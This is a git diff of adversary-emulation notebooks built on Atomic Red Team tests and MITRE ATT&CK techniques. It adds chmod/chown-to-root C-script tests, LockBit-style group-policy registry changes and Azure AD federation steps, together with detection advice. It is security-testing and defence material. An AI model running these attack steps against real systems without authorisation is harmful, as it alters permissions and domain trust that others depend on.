`sh`!\n##### Description: Compile the script from (#{source_file}). Destination is #{compiled_file}\n\n##### Check Prereq Commands:\n```sh\ngcc PathToAtomicsFolder/T1222.002/src/T1222.002.c -o /tmp/T1222002\n\n```\n##### Get Prereq Commands:\n```sh\ngcc PathToAtomicsFolder/T1222.002/src/T1222.002.c -o /tmp/T1222002\n\n```" + "source": "### Atomic Test #11 - Chmod through c script\nchmods a file using a c script\n\n**Supported Platforms:** macos, linux\n#### Dependencies: Run with `sh`!\n##### Description: Compile the script from (#{source_file}). Destination is #{compiled_file}\n\n##### Check Prereq Commands:\n```sh\ngcc PathToAtomicsFolder/T1222.002/src/T1222.002.c -o /tmp/T1222002\n\n```\n##### Get Prereq Commands:\n```sh\ngcc PathToAtomicsFolder/T1222.002/src/T1222.002.c -o /tmp/T1222002\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6c167e37", + "id": "11c333ba", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1222.002 -TestNumbers 10 -GetPreReqs" + "source": "Invoke-AtomicTest T1222.002 -TestNumbers 11 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4e1a3c80", + "id": "1a09cfb0", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -218,28 +238,59 @@ { "cell_type": "code", "execution_count": null, - "id": "f4c2280d", + "id": "27b1e189", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1222.002 -TestNumbers 10" + "source": "Invoke-AtomicTest T1222.002 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "c61ef661", + "id": "bc913b71", "metadata": {}, - "source": "### Atomic Test #11 - Chown through c script\nchowns a file to root using a c script\n\n**Supported Platforms:** macos, linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Compile the script from (#{source_file}). Destination is #{compiled_file}\n\n##### Check Prereq Commands:\n```sh\ngcc PathToAtomicsFolder/T1222.002/src/chown.c -o /tmp/T1222002own\n\n```\n##### Get Prereq Commands:\n```sh\ngcc PathToAtomicsFolder/T1222.002/src/chown.c -o /tmp/T1222002own\n\n```" + "source": "### Atomic Test #12 - Chmod through c script (freebsd)\nchmods a file using a c script\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Compile the script from (#{source_file}). Destination is #{compiled_file}\n\n##### Check Prereq Commands:\n```sh\ncc PathToAtomicsFolder/T1222.002/src/T1222.002.c -o /tmp/T1222002\n\n```\n##### Get Prereq Commands:\n```sh\ncc PathToAtomicsFolder/T1222.002/src/T1222.002.c -o /tmp/T1222002\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6ff9ba89", + "id": "893fbeda", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1222.002 -TestNumbers 11 -GetPreReqs" + "source": "Invoke-AtomicTest T1222.002 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e781ad9a", + "id": "7d2b8ad3", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\n/tmp/T1222002 /tmp/ T1222002\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1b6648a9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1222.002 -TestNumbers 12" + }, + { + "cell_type": "markdown", + "id": "1cccdeaa", + "metadata": {}, + "source": "### Atomic Test #13 - Chown through c script\nchowns a file to root using a c script\n\n**Supported Platforms:** macos, linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Compile the script from (#{source_file}). Destination is #{compiled_file}\n\n##### Check Prereq Commands:\n```sh\ngcc PathToAtomicsFolder/T1222.002/src/chown.c -o /tmp/T1222002own\n\n```\n##### Get Prereq Commands:\n```sh\ngcc PathToAtomicsFolder/T1222.002/src/chown.c -o /tmp/T1222002own\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "52e89135", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1222.002 -TestNumbers 13 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "1286e4bb", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -249,14 +300,45 @@ { "cell_type": "code", "execution_count": null, - "id": "80ad1ded", + "id": "f789efe1", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1222.002 -TestNumbers 11" + "source": "Invoke-AtomicTest T1222.002 -TestNumbers 13" + }, + { + "cell_type": "markdown", + "id": "ed66f5eb", + "metadata": {}, + "source": "### Atomic Test #14 - Chown through c script (freebsd)\nchowns a file to root using a c script\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Compile the script from (#{source_file}). Destination is #{compiled_file}\n\n##### Check Prereq Commands:\n```sh\ncc PathToAtomicsFolder/T1222.002/src/chown.c -o /tmp/T1222002own\n\n```\n##### Get Prereq Commands:\n```sh\ncc PathToAtomicsFolder/T1222.002/src/chown.c -o /tmp/T1222002own\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e8ae849f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1222.002 -TestNumbers 14 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "ab58d4ec", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\n/tmp/T1222002own PathToAtomicsFolder/T1222.002/src/chown.c\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "dea7123e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1222.002 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "b71a444c", + "id": "7aabbe11", "metadata": {}, "source": "## Detection\nMonitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files." } @@ -264,13 +346,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1222.ipynb b/playbook/tactics/defense-evasion/T1222.ipynb index bfe2b037..6b97c4c7 100644 --- a/playbook/tactics/defense-evasion/T1222.ipynb +++ b/playbook/tactics/defense-evasion/T1222.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "d0f3103c", + "id": "7e007581", "metadata": {}, "source": "# T1222 - File and Directory Permissions Modification\nAdversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) " }, { "cell_type": "markdown", - "id": "ab8ef22d", + "id": "f0f21cb4", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "84048e8b", + "id": "89315fdd", "metadata": {}, "source": "## Detection\nMonitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)" }, { "cell_type": "markdown", - "id": "e3ff80e5", + "id": "06d5857e", "metadata": {}, "source": "\n## Shield Active Defense\n### Pocket Litter \n Place data on a system to reinforce the legitimacy of the system or user. \n\n Pocket Litter is data placed on a system to convince an adversary that the system and users are real. Pocket litter includes documents, registry entries, log history, browsing history, connection history, and other user data that one would expect to exist on a user's computer. This content may overlap with Decoy Content, however Pocket Litter covers aspects beyond just content (e.g.: Installed Applications, source code, clutter on a system, etc.).\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to seed content to influence an adversary's behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can seed content interesting files to an adversary, but lock the permissions down. The goal would be to force the adversary to expose their TTPs for circumventing the restrictions.\n#### Procedures\nWhen staging a decoy system and user account, populate a user's folders and web history to make it look realistic to an adversary.\nStage a USB device with documents on a specific topic in order to see if they are exfiltrated by an adversary.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1223.ipynb b/playbook/tactics/defense-evasion/T1223.ipynb deleted file mode 100644 index d3139876..00000000 --- a/playbook/tactics/defense-evasion/T1223.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "80a78e17", - "metadata": {}, - "source": "# T1223 - Compiled HTML File\nCompiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)" - }, - { - "cell_type": "markdown", - "id": "07008c90", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "830bfa5d", - "metadata": {}, - "source": "## Detection\nMonitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1480.001.ipynb b/playbook/tactics/defense-evasion/T1480.001.ipynb index 6d5877d1..1679f125 100644 --- a/playbook/tactics/defense-evasion/T1480.001.ipynb +++ b/playbook/tactics/defense-evasion/T1480.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "8265e999", + "id": "b676a303", "metadata": {}, "source": "# T1480.001 - Environmental Keying\nAdversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful." }, { "cell_type": "markdown", - "id": "ab69bf81", + "id": "fcde0ab2", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "bc29bca2", + "id": "37170d9f", "metadata": {}, "source": "## Detection\nDetecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1480.ipynb b/playbook/tactics/defense-evasion/T1480.ipynb index 98a924fd..8309180d 100644 --- a/playbook/tactics/defense-evasion/T1480.ipynb +++ b/playbook/tactics/defense-evasion/T1480.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "5f994507", + "id": "27d58857", "metadata": {}, "source": "# T1480 - Execution Guardrails\nAdversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match." }, { "cell_type": "markdown", - "id": "48b630b1", + "id": "bac17bd7", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "35483b16", + "id": "9b132baf", "metadata": {}, "source": "## Detection\nDetecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection." }, { "cell_type": "markdown", - "id": "bda4c9b3", + "id": "272e5167", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA defender could develop behavioral analytics to detect the examination of commonly used guardrails such as inspection of VM artifacts, enumeration of connected storage and/or devices, domain information, etc.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1484.001.ipynb b/playbook/tactics/defense-evasion/T1484.001.ipynb index 11683e82..b26350a6 100644 --- a/playbook/tactics/defense-evasion/T1484.001.ipynb +++ b/playbook/tactics/defense-evasion/T1484.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d130dcc4", + "id": "e1ef5783", "metadata": {}, - "source": "# T1484.001 - Group Policy Modification\nAdversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)" + "source": "# T1484.001 - Group Policy Modification\nAdversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)" }, { "cell_type": "markdown", - "id": "ebeaaaed", + "id": "52d5cbea", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2dfbb731", + "id": "d5199442", "metadata": {}, "source": [ "### Atomic Test #1 - LockBit Black - Modify Group policy settings -cmd", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "df6c9cfa", + "id": "d554bd95", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "cfa7ff92", + "id": "e5c60b82", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeDC /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffsetDC /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTime /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffset /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v EnableSmartScreen /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v ShellSmartScreenLevel /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d6c14bdf", + "id": "e7e147aa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "9616f1a9", + "id": "63199147", "metadata": {}, "source": [ "### Atomic Test #2 - LockBit Black - Modify Group policy settings -Powershell", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "21fbeeea", + "id": "439b9839", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c948f79d", + "id": "4ef42a87", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeDC -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC -Force -ErrorAction Ignore \nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTime -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name EnableSmartScreen -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "280e93eb", + "id": "e0a008d4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "be796c87", + "id": "f001e87a", "metadata": {}, "source": "## Detection\nIt is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704)." } @@ -92,13 +92,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1484.002.ipynb b/playbook/tactics/defense-evasion/T1484.002.ipynb index eb504051..19109d12 100644 --- a/playbook/tactics/defense-evasion/T1484.002.ipynb +++ b/playbook/tactics/defense-evasion/T1484.002.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "27c7ffcc", + "id": "c4ea87c9", "metadata": {}, "source": "# T1484.002 - Domain Trust Modification\nAdversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) " }, { "cell_type": "markdown", - "id": "3d6ff281", + "id": "51d6bb6f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3a991124", + "id": "90a6953e", "metadata": {}, "source": "### Atomic Test #1 - Add Federation to Azure AD\nAdd a new federated domain to Azure AD using PowerShell.\nThe malicious domain to be federated must be configured beforehand (outside of the scope of this test):\n 1. Open Azure Portal\n 2. Add a new \"custom domain name\"\n 3. Verify the domain by following instructions (i.e. create the requested DNS record)\n\n**Supported Platforms:** azure-ad\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD and AADInternals Powershell modules must be installed.\n\n##### Check Prereq Commands:\n```powershell\nif ((Get-Module -ListAvailable -Name AzureAD) -And (Get-Module -ListAvailable -Name AADInternals)) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\nInstall-Module -Name AADInternals -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9b30586e", + "id": "6dfaeb99", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7745e155", + "id": "6bae05d2", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "7115aced", + "id": "223bcbf3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1484.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "244cf45c", + "id": "8cb0a508", "metadata": {}, "source": "#### Cleanup: \n```powershell\ntry {\n Import-Module AzureAD -ErrorAction Ignore\n\n $PWord = ConvertTo-SecureString -String \"iamthebatman\" -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList 